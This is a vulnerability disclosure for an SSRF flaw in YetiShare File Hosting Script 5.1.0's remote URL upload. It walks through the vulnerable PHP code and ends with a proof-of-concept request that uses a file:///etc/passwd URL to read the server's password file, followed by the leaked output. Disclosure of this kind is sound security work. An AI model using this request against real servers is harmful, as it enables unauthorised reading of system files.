YetiShare File Hosting Script 5.1.0 Exploit, 'url' Server-Side Request Forgery

# Title: YetiShare File Hosting Script 5.1.0 - 'url' Server-Side Request Forgery
# Date: 09.01.2021
# Author: Numan Türle
# Vendor Homepage: https://mfscripts.com
# Software Link: https://yetishare.com
# Version: v5.1.0
# Tested on: YetiShare - File Hosting Script v5.1.0, Php Version : 7.4


Summary
---------
YetiShare is script the file hosting. This script has remote file upload feature.
Since sufficient security measures are not taken in the remote file upload area, 
SSRF vulnerability available.

Description
---------
When a new upload request is received by the user, the following function block 
is called first.
app/tasks/process_remote_file_downloads.cron.php
------------------------------------------------
        // include plugin code
        $url = $urlDownloadData['url'];
        $params = PluginHelper::includeAppends('url_upload_handler', array(
            'url' => $url,
            'rowId' => 0,
            'urlDownloadData' => $urlDownloadData,
            )
        );
        $url = $params['url'];

        // start download
        $upload_handler->handleRemoteUrlUpload($url);
------------------------------------------------

The url parameter received as input from the user in the called function blog is 
sent to the "handleRemoteUrlUpload" function. 

/Users/numan/Desktop/file-hosting-script-v5.0.0-beta/app/services/
Uploader.class.php
------------------------------------------------------------------
public function handleRemoteUrlUpload($url, $rowId = 0) {
        .....
        $remoteFileDetails = $this->getRemoteFileDetails($url);
        $remoteFilesize = (int) $remoteFileDetails['bytes'];
        if ($remoteFilesize > $this->options['max_file_size']) {
            .....ERROR MSG
        }
        else {
            // look for real filename if passed in headers
            if (strlen($remoteFileDetails['real_filename'])) {
                $realFilename = trim(current(explode(';', 
                $remoteFileDetails['real_filename'])));
                if (strlen($realFilename)) {
                    $this->fileUpload->name = $realFilename;
                }
            }

            // try to get the file locally
            $localFile = $this->downloadRemoteFile($url, true);
------------------------------------------------------------------

In this function that is called, the details of the file are taken first and if 
the bytes is not larger than the max_file_size, the "downloadRemoteFile" 
function will go to the download.

------------------------------------------------------------------
public function getRemoteFileDetails($url) {
      .....
            $execute = curl_exec($ch);

            // check if any error occured
            if (!curl_errno($ch)) {
                $rs['bytes'] = (int) curl_getinfo($ch, 
                CURLINFO_CONTENT_LENGTH_DOWNLOAD);
.....
------------------------------------------------------------------
------------------------------------------------------------------
public function downloadRemoteFile($url, $streamResponse = false) {
        .....
        // use curl
        if (function_exists('curl_init')) {
            // get file via curl
            $fp = fopen($tmpFullPath, 'w+');
            if ($ch === null) {
                $ch = curl_init();
            }

            curl_setopt($ch, CURLOPT_URL, $url);
            .....
            curl_setopt($ch, CURLOPT_FILE, $fp);
            if (curl_exec($ch) === false) {
                // log error
                LogHelper::error('Failed getting url. Error: ' 
                . curl_error($ch) . ' (' . $url . ')');
                return false;
            }
            $status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            fclose($fp);
            .....
        }
.....
------------------------------------------------------------------




POC
---------

GET /ajax/url_upload_handler?csaKey1=CSAKEY1&csaKey2=CSAKEY2&rowId=0&url=file:///etc/passwd&folderId=-1 HTTP/1.1
Host: target.com
Connection: close
Accept: */*
Cookie: HERE_COOKIE



Response
---------
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Connection: close
Pragma: no-cache
Content-Length: XXX

...<script>parent.updateUrlProgress({"done":{"name":"passwd","size":2082,
"type":"text\/plain; charset=us-ascii","error":null,"rowId":0,
"requestUrl":"file:\/\/\/etc\/passwd","url":....



..........
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

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